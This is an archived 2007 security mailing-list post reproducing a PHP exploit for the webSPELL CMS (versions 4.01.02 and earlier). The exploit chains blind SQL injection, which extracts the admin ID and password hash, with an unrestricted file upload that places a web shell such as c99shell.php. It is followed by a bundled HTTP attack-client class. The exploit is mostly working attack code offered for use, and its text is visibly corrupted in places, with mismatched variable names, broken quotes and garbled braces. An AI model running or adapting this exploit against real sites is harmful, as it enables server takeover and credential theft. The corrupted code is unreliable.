

[EXPL] webSPELL PHP Code Execution (Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-03/msg00009.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Mar 2007 16:39:42 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

webSPELL PHP Code Execution (Exploit)

SUMMARY

" <<http://webspell.org/>> webSPELL is a free Content Management System (CMS) for clans and gaming communities, providing all needed features like forums, gallery, clanwar system and co."

There is a PHP code execution vulnerability in webSPELL.

DETAILS

Vulnerable Systems:

* webSPELL versions 4.01.02 and prior.

Exploit:

```
#!/usr/bin/php
```

```
<?php
```

```
error_reporting(E_ALL ^ E_NOTICE);
```

```
# Admin id: 1
```

```
# Admin hash: 7b24afc8bc80e548d66c4e7ff72171c5
```

```
# Logged in (ws_auth=1%3A7b24afc8bc80e548d66c4e7ff72171c5)
```

```
# Trying to upload the malicious file
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
# Done (http://localhost/webspell4.01.02/downloads/c99shell.php)
```

```
#
```

```
if($argc < 5)
```

```
{
```

```
print ("
```

```
----- webSPELL <= 4.01.02 Remote PHP Code Execution Exploit -----
```

```
PHP conditions: register_globals=On
```

```
Credits: DarkFig <gmdarkfig@xxxxxxxxxx>
```

```
URL: http://www.acid-root.new.fr/
```

```
Usage: $argv[0] -url <> -file <> [Options]
```

```
Params: -url For example http://victim.com/webspell/
```

```
-file The file you wanna upload (c99shell.php...)
```

```
Options: -prefix Table prefix (default=webs)
```

```
-upmatch The match which returns TRUE for the upload
```

```
-sqlmatch The match which returns TRUE for the SQL injection
```

```
-proxy If you wanna use a proxy <proxyhost:proxyport>
```

```
-proxyauth Basic authentication <proxyuser:proxypwd>
```

```
Example: $argv[0] -url http://localhost/webspell/ -file c99shell.php
```

```
");exit(1);
```

```
}
```

```
$url = getparam('url',1);
```

```
$file = getparam('file',1);
```

```
$prfx = (getparam('prefix')!="") ? getparam('prefix') :  
'webs';
```

```
$match_upload = (getparam('upmatch')!="") ? getparam('upmatch') :  
'\;URL\=index\.php\?site\=files\&file\=';
```

```
$match_blindsql = (getparam('sqlmatch')!="") ? getparam('sqlmatch') :  
'site\=profile\&id\=';
```

```
$proxy = getparam('proxy');
```

```
$authp = getparam('proxyauth');
```

```
$xpl = new phpsploit();
```

```
$xpl->agent("Mozilla Firefox");
```

```
if($proxy) $xpl->proxy($proxy);
```

```
if($authp) $xpl->proxyauth($authp);
```

```
print "\nAdmin id: ";
```

```
$userid = blind('userID');
```

```
print "\nAdmin hash: ";
```

```
$passwd = strtolower(blind('password'));
```

```
print "\nLogged in (ws_auth=$userid%3A$passwd)";
```

```
$xpl->addcookie("ws_auth",$userid."%3A".$passwd);
```

```
# File upload vulnerability
```

[EXPL] webSPELL PHP Code Execution (Exploit)

[EXPL] webSPELL PHP Code Execution (Exploit)

```
#
# +files.php
# |
# 42. $action = $_GET['action'];
# 43. if($action=="save") {
# 44. if(!isfileadmin($userID)) die(redirect("index.php?site=files", "no
access!", "3"));
# 46. $upfile = $_FILES[upfile];
# 69. $filepath = "./downloads/";
# 71. $des_file = $filepath.$upfile[name];
# 72. if(!file_exists($des_file)) {
# 73. if(move_uploaded_file($upfile[tmp_name], $des_file)) {
#
print "\nTrying to upload the malicious file";
$frmdt = array(frmdt_url => $url.'index.php?site=files&action=save',
"fileurl" => 1,
"upfile" => array(frmdt_filename => basename($file),
frmdt_content =>
file_get_contents($file));

$xml->formdata($frmdt);
if(preg_match("#$match_upload#si",$xml->getcontent())) print "\nDone";
else print "\nFailed";
print " ($url)downloads/".basename($file)."\n";

# Simple blind SQL injection (register_globals=On)
#
# +members.php
# |
# 31. if($_GET['action']=="show") {
# 32. if($_GET['squadID']) {
# 33. $getsquad = 'WHERE squadID="'.$_GET['squadID'].'"';
# 34. }
# 36. $ergebnis=safe_query("SELECT * FROM ".PREFIX."squads ".$getsquad."
ORDER BY sort");
#
function blind($field)
{
global $prfx,$xml,$url,$match_blindsqli;
$d=0; $v="";

if(!ereg('p',$field)) { $b=47;$c=57; } # 0-9
else { $b=47;$c=70; } # 0-9a-z

while(TRUE)
{
$d++;
for($e=$b;$e<=$c;$e++)
{
if($e==47) $f='NULL';
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
else $f=$e;

$sql = "WHERE SUBSTR((SELECT $field FROM ${prefix}_user
WHERE userID="
.(SELECT userID FROM ${prefix}_user_groups WHERE
files=1 LIMIT 1)"
." LIMIT 1),$d,1)=CHAR($f)";

$xml->get($url."index.php?site=members&action=show&getsquad=".urlencode($sql));

if(preg_match("#$match_blindsqli#", $xml->getContent(), $matches))
{
if($e==47)
{
return $v;
}
else
{
print strtolower(chr($f));
$v .= chr($f);
break;
}
}
}
}

function getparam($param,$opt="")
{
global $argv;
foreach($argv as $value => $key)
{
if($key == '-'.$param) return $argv[$value+1];
}
if($opt) exit("\n-$param parameter required");
else return;
}

if(!function_exists('file_get_contents')) {
function file_get_contents($file)
{
$handle = fopen($file, "r");
$content = fread($fd, filesize($file));
fclose($handle);
return $content;
}
}

/*
*
```

[EXPL] webSPELL PHP Code Execution (Exploit)

* Copyright (C) darkfig
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place – Suite 330, Boston, MA 02111–1307,
USA.
*
* TITLE: PhpSploit Class
* REQUIREMENTS: PHP 5 (remove "private", "public" if you have PHP 4)
* VERSION: 1.2
* LICENSE: GNU General Public License
* ORIGINAL URL: <http://www.acid-root.new.fr/tools/03061230.txt>
* FILENAME: phpsploitclass.php
*
* CONTACT: gmdarkfig@xxxxxxxxxx (french / english)
* GREETZ: Sparah, Ddx39
*
* DESCRIPTION:
* The phpsploit is a class implementing a web user agent.
* You can add cookies, headers, use a proxy server with (or without) a
* basic authentication. It supports the GET and the POST method. It can
* also be used like a browser with the cookiejar() function (which allow
* a server to add several cookies for the next requests) and the
* allowedirection() function (which allow the script to follow all
* redirections sent by the server). It can return the content (or the
* headers) of the request. Others useful functions can be used for
debugging.
* A manual is actually in development but to know how to use it, you can
* read the comments.
*
* CHANGELOG:
* [2007-01-24] (1.2)
* * Bug #2 fixed: Problem concerning the getcookie() function ((:))
* * New: multipart/form-data enctype is now supported
*
* [2006-12-31] (1.1)
* * Bug #1 fixed: Problem concerning the allowedirection() function
(chr(13) bug)
* * New: You can now call the getheader() / getcontent() function
without parameters
*

[EXPL] webSPELL PHP Code Execution (Exploit)

```
* [2006-12-30] (1.0)
* * First version
*
*/

class phpsploit {

/**
 * This function is called by the get()/post() functions.
 * You don't have to call it, this is the main function.
 *
 * @return $server_response
 */
private function sock()
{
if(!empty($this->proxyhost) && !empty($this->proxyport))
$socket = fsockopen($this->proxyhost,$this->proxyport);
else $socket = fsockopen($this->host,$this->port);

if(!$socket) die("Error: The host doesn't exist");

if($this->method==="get") $this->packet = "GET
".$this->url." HTTP/1.1\r\n";
elseif($this->method==="post" or
$this->method==="formdata") $this->packet = "POST ".$this->url. "
HTTP/1.1\r\n";
else die("Error: Invalid method");

if(!empty($this->proxyuser)) $this->packet .=
"Proxy-Authorization: Basic
".base64_encode($this->proxyuser.":".$this->proxypass)."\r\n";
$this->packet .= "Host: ".$this->host."\r\n";

if(!empty($this->agent)) $this->packet .= "User-Agent:
".$this->agent."\r\n";
if(!empty($this->header)) $this->packet .=
$this->header."\r\n";
if(!empty($this->cookie)) $this->packet .= "Cookie:
".$this->cookie."\r\n";

$this->packet .= "Connection: Close\r\n";
if($this->method==="post")
{
$this->packet .= "Content-Type:
application/x-www-form-urlencoded\r\n";
$this->packet .= "Content-Length:
".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data."\r\n";
}
elseif($this->method==="formdata")
{
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
$this->packet .= "Content-Type:
multipart/form-data;
boundary=-----".$this->boundary."\r\n";
$this->packet .= "Content-Length:
".strlen($this->data)."\r\n\r\n";
$this->packet .= $this->data;
}
$this->packet .= "\r\n";
$this->recv = "";

fputs($socket,$this->packet);
while(!feof($socket)) $this->recv .= fgets($socket);
fclose($socket);

if($this->cookiejar)
$this->cookiejar($this->getheader($this->recv));
if($this->allowredirection) return
$this->allowredirection($this->recv);
else return $this->recv;
}

/**
 * This function allows you to add several cookie in the
 * request. Several methods are supported:
 *
 * $this->addcookie("name","value");
 * or
 * $this->addcookie("name=newvalue");
 * or
 * $this->addcookie("othername=overvalue; xx=zz; y=u");
 *
 * @param string $cookiename
 * @param string $cookievalue
 *
 */
public function addcookie($cookn,$cookv="")
{
// $this->addcookie("name","value"); work avec replace
if(!empty($cookv))
{
if($cookv === "deleted") $cookv=""; //
cookiejar(1) && Set-Cookie: name=delete
if(!empty($this->cookie))
{
if(preg_match("/$cookn=/",$this->cookie))
{
$this->cookie =
preg_replace("/$cookn=(\S*);/","$cookn=$cookv;", $this->cookie);
}
}
else
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
{
$this->cookie .= "
".$cookn."=".$cookv.""; // " "
}
}
else
{
$this->cookie = $cookn."=".$cookv."";
}
}
// $this->addcookie("name=value; othervalue");
else
{
if(!empty($this->cookie))
{
$cookn = preg_replace("/(.*)$/","$1",$cookn);
$cookarr = explode(";",$str_replace(" ",
"", $cookn));
for($i=0;$i<count($cookarr);$i++)
{

preg_match("/(\\S*)=(\\S*)/", $cookarr[$i], $matches);
$cookn = $matches[1];
$cookv = $matches[2];
$this->addcookie($cookn,$cookv);
}
}
else
{
$cookn =
(substr($cookn,(strlen($cookn)-1),1)===";" ? $cookn : $cookn."");
$this->cookie = $cookn;
}
}
}

/**
 * This function allows you to add several headers in the
 * request. Several methods are supported:
 *
 * $this->addheader("headername", "headervalue");
 * or
 * $this->addheader("headername: headervalue");
 *
 * @param string $headername
 * @param string $headervalue
 */
public function addheader($headern,$headervalue="")
{
// $this->addheader("name", "value");
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
if(!empty($headervalue))
{
if(!empty($this->header))
{

if(preg_match("/$headern:/",$this->header))
{
$this->header =
preg_replace("/$headern: (\S*)/","$headern: $headervalue",$this->header);
}
else
{
$this->header .=
"\r\n".$headern." : ".$headervalue;
}
}
else
{
$this->header=$headern." : ".$headervalue;
}
}
// $this->addheader("name: value");
else
{
if(!empty($this->header))
{
$headarr = explode(" : ",$headern);
$headern = $headarr[0];
$headerv = $headarr[1];
$this->addheader($headern,$headerv);
}
else
{
$this->header=$headern;
}
}
}

/**
 * This function allows you to use an http proxy server.
 * Several methods are supported:
 *
 * $this->proxy("proxyip","8118");
 * or
 * $this->proxy("proxyip:8118")
 *
 * @param string $proxyhost
 * @param integer $proxyport
 */
public function proxy($proxy,$proxyp="")
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
{
// $this->proxy("localhost:8118");
if(empty($proxyp))
{
preg_match("/^\(S*\):(\d+)\$/", $proxy, $proxarr);
$proxh = $proxarr[1];
$proxp = $proxarr[2];
$this->proxyhost=$proxh;
$this->proxyport=$proxp;
}
// $this->proxy("localhost",8118);
else
{
$this->proxyhost=$proxy;
$this->proxyport=intval($proxyp);
}
if($this->proxyport > 65535) die("Error: Invalid port
number");
}

/**
 * This function allows you to use an http proxy server
 * which requires a basic authentication. Several
 * methods are supported:
 *
 * $this->proxyauth("darkfig", "dapasswd");
 * or
 * $this->proxyauth("darkfig:dapasswd");
 *
 * @param string $proxyuser
 * @param string $proxypass
 */
public function proxyauth($proxyauth,$proxypasse="")
{
// $this->proxyauth("darkfig:password");
if(empty($proxypasse))
{

preg_match("/^(.*):(.*)\$/", $proxyauth, $proxautharr);
$proxu = $proxautharr[1];
$proxp = $proxautharr[2];
$this->proxyuser=$proxu;
$this->proxypass=$proxp;
}
// $this->proxyauth("darkfig", "password");
else
{
$this->proxyuser=$proxyauth;
$this->proxypass=$proxypasse;
}
}
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
}

/**
 * This function allows you to set the "User-Agent" header.
 * Several methods are possible to do that:
 *
 * $this->agent("Mozilla Firefox");
 * or
 * $this->addheader("User-Agent: Mozilla Firefox");
 * or
 * $this->addheader("User-Agent", "Mozilla Firefox");
 *
 * @param string $useragent
 */
public function agent($useragent)
{
    $this->agent=$useragent;
}

/**
 * This function returns the header which will be
 * in the next request.
 *
 * $this->showheader();
 *
 * @return $header
 */
public function showheader()
{
    return $this->header;
}

/**
 * This function returns the cookie which will be
 * in the next request.
 *
 * $this->showcookie();
 *
 * @return $storedcookies
 */
public function showcookie()
{
    return $this->cookie;
}

/**
 * This function returns the last formed
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
* http request (the http packet).
*
* $this->showlastrequest();
*
* @return $last_http_request
*/
public function showlastrequest()
{
return $this->packet;
}

/**
* This function sends the formed http packet with the
* GET method. You can precise the port of the host.
*
* $this->get("http://localhost");
* $this->get("http://localhost:888/xd/tst.php");
*
* @param string $urlwithpath
* @return $server_response
*/
public function get($url)
{
$this->target($url);
$this->method="get";
return $this->sock();
}

/**
* This function sends the formed http packet with the
* POST method. You can precise the port of the host.
*
* $this->post("http://localhost/index.php","admin=1&user=dark");
*
* @param string $urlwithpath
* @param string $postdata
* @return $server_response
*/
public function post($url,$data)
{
$this->target($url);
$this->method="post";
$this->data=$data;
return $this->sock();
}

/**
* This function sends the formed http packet with the
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
* POST method using the multipart/form-data enctype.
*
* $array = array(
* frmdt_url => "http://localhost/upload.php,
* frmdt_boundary => "123456", #
Optional
* "email" => "me@xxxxx",
* "varname" => array(
* frmdt_type => "image/gif", #
Optional
* frmdt_transfert => "binary", #
Optional
* frmdt_filename => "hello.php",
* frmdt_content => "<?php echo '":
?>")):
* $this->formdata($array):
*
* @param array $array
* @return $server_response
*/
public function formdata($array)
{
$this->target($array[frmdt_url]);
$this->method="formdata";
$this->data=";
if(!isset($array[frmdt_boundary]))
$this->boundary="phpsploit";
else $this->boundary=$array[frmdt_boundary];
foreach($array as $key => $value)
{
if(!preg_match("#^frmdt (boundary|url)#", $key))
{
$this->data .=
"-----". $this->boundary. "\r\n";
$this->data .= "Content-Disposition:
form-data; name=\"". $key. "\":";
if(!is_array($value))
{
$this->data .=
"\r\n\r\n". $value. "\r\n";
}
else
{
$this->data .= "
filename=\"". $array[$key][frmdt_filename]. "\":\r\n";

if(isset($array[$key][frmdt_type])) $this->data .= "Content-Type:
". $array[$key][frmdt_type]. "\r\n";

if(isset($array[$key][frmdt_transfert])) $this->data .=
"Content-Transfer-Encoding: ". $array[$key][frmdt_transfert]. "\r\n";

```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
$this->data .=  
"\r\n".$array[$key][frmdt_content]."\r\n";  
}  
}  
}  
$this->data .=  
"-----".$this->boundary."--\r\n";  
return $this->sock();  
}
```

```
/**  
* This function returns the content of the server response  
* without the headers.  
*  
* $this->getcontent($this->get("http://localhost/));  
* or  
* $this->getcontent();  
*  
* @param string $server_response  
* @return $onlythecontent  
*/  
public function getcontent($code=")  
{  
if(empty($code)) $code = $this->recv;  
$content = explode("\n",$code);  
$onlycode = "";  
for($i=1;$i<count($content);$i++)  
{  
if(!preg_match("/^\(S*\):/", $content[$i])) $ok = 1;  
if($ok) $onlycode .= $content[$i]."\n";  
}  
return $onlycode;  
}
```

```
/**  
* This function returns the headers of the server response  
* without the content.  
*  
*  
* $this->getheader($this->post("http://localhost/x.php","x=1&z=2));  
* or  
* $this->getheader();  
*  
* @param string $server_response  
* @return $onlytheheaders  
*/  
public function getheader($code=")  
{  
if(empty($code)) $code = $this->recv;
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
$header = explode("\n",$code);  
$onlyheader = $header[0]."\n";  
for($i=1;$i<count($header);$i++)  
{  
if(!preg_match("/^\(S*\):/", $header[$i])) break;  
$onlyheader .= $header[$i]."\n";  
}  
return $onlyheader;  
}  
  
/**  
* This function is called by the cookiejar() function.  
* It adds the value of the "Set-Cookie" header in the "Cookie"  
* header for the next request. You don't have to call it.  
*  
@param string $server_response  
*/  
private function getcookie($code)  
{  
$carr = explode("\n",str_replace("\r\n","\n",$code));  
for($z=0;$z<count($carr);$z++)  
{  
if(preg_match("/set-cookie:  
(.*)/i",$carr[$z],$cookarr))  
{  
$cookie[] =  
preg_replace("/expires=(.*)" (GMT|UTC)\(S*\)$/i","",preg_replace("/path=(.*)/i","", $cookarr[1]));  
}  
}  
  
for($i=0;$i<count($cookie);$i++)  
{  
  
preg_match("/(\S*)=(\S*)(:|;)/",$cookie[$i],$matches);  
$cookn = $matches[1];  
$cookv = $matches[2];  
$this->addcookie($cookn,$cookv);  
}  
}  
  
/**  
* This function is called by the get()/post() functions.  
* You don't have to call it.  
*  
@param string $urltarg  
*/  
private function target($urltarg)  
{  
if(!preg_match("/^http:\\/\(.*)\/",$urltarg)) $urltarg .=
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
"/":  
$this->url=$urltarg;  
  
$array =  
explode("/",str_replace("http://","".preg_replace("/:(d+)/","".$urltarg)));  
$this->host=$array[0];  
  
preg_match("/:(d+)\//",$urltarg,$matches);  
$this->port=empty($matches[1]) ? 80 : $matches[1];  
  
$temp =  
str_replace("http://","".preg_replace("/:(d+)/","".$urltarg));  
preg_match("/^(.*)\//",$temp,$matches);  
$this->path=str_replace("//","/".$matches[1]."/");  
  
if($this->port > 65535) die("Error: Invalid port number");  
↓  
  
/**  
* If you call this function, the script will  
* extract all "Set-Cookie" headers values  
* and it will automatically add them into the "Cookie" header  
* for all next requests.  
*  
* $this->cookiejar(1); // enabled  
* $this->cookiejar(0); // disabled  
*  
*/  
public function cookiejar($code)  
↓  
if($code===0) $this->cookiejar="";  
if($code===1) $this->cookiejar=1;  
else  
↓  
$this->getcookie($code);  
↓  
↓  
  
/**  
* If you call this function, the script will  
* follow all redirections sent by the server.  
*  
* $this->allowredirection(1); // enabled  
* $this->allowredirection(0); // disabled  
*  
* @return $this->get($locationresponse)  
*/  
public function allowredirection($code)  
↓
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
if($code===0) $this->allowredirection=":  
if($code===1) $this->allowredirection=1:  
else  
{  
if(preg_match("/(location|content-location|uri):  
(.*)/i",$code,$codearr))  
{  
$location =  
str_replace(chr(13),"",$codearr[2]):  
if(!ereg("://",$location))  
{  
return  
$this->get("http://".$this->host.$this->path.$location):  
}  
else  
{  
return $this->get($location):  
}  
}  
else  
{  
return $code:  
}  
}  
}
```

```
/**  
* This function allows you to reset some parameters:  
*  
* $this->reset(header): // headers cleaned  
* $this->reset(cookie): // cookies cleaned  
* $this->reset(): // clean all parameters  
*  
* @param string $func  
*/  
public function reset($func=")  
{  
switch($func)  
{  
case "header":  
$this->header=":  
break;  
  
case "cookie":  
$this->cookie=":  
break;  
  
default:  
$this->cookiejar=":  
$this->header=":
```

[EXPL] webSPELL PHP Code Execution (Exploit)

```
$this->cookie=";  
$this->allowredirection=";  
$this->agent=";  
break;  
↓  
↓  
↓  
↓  
?>
```

ADDITIONAL INFORMATION

The information has been provided by milw0rm.

The original article can be found at:

<<http://www.milw0rm.com/exploits/3402>>

<http://www.milw0rm.com/exploits/3402>

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@xxxxxxxxxxxxxx

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.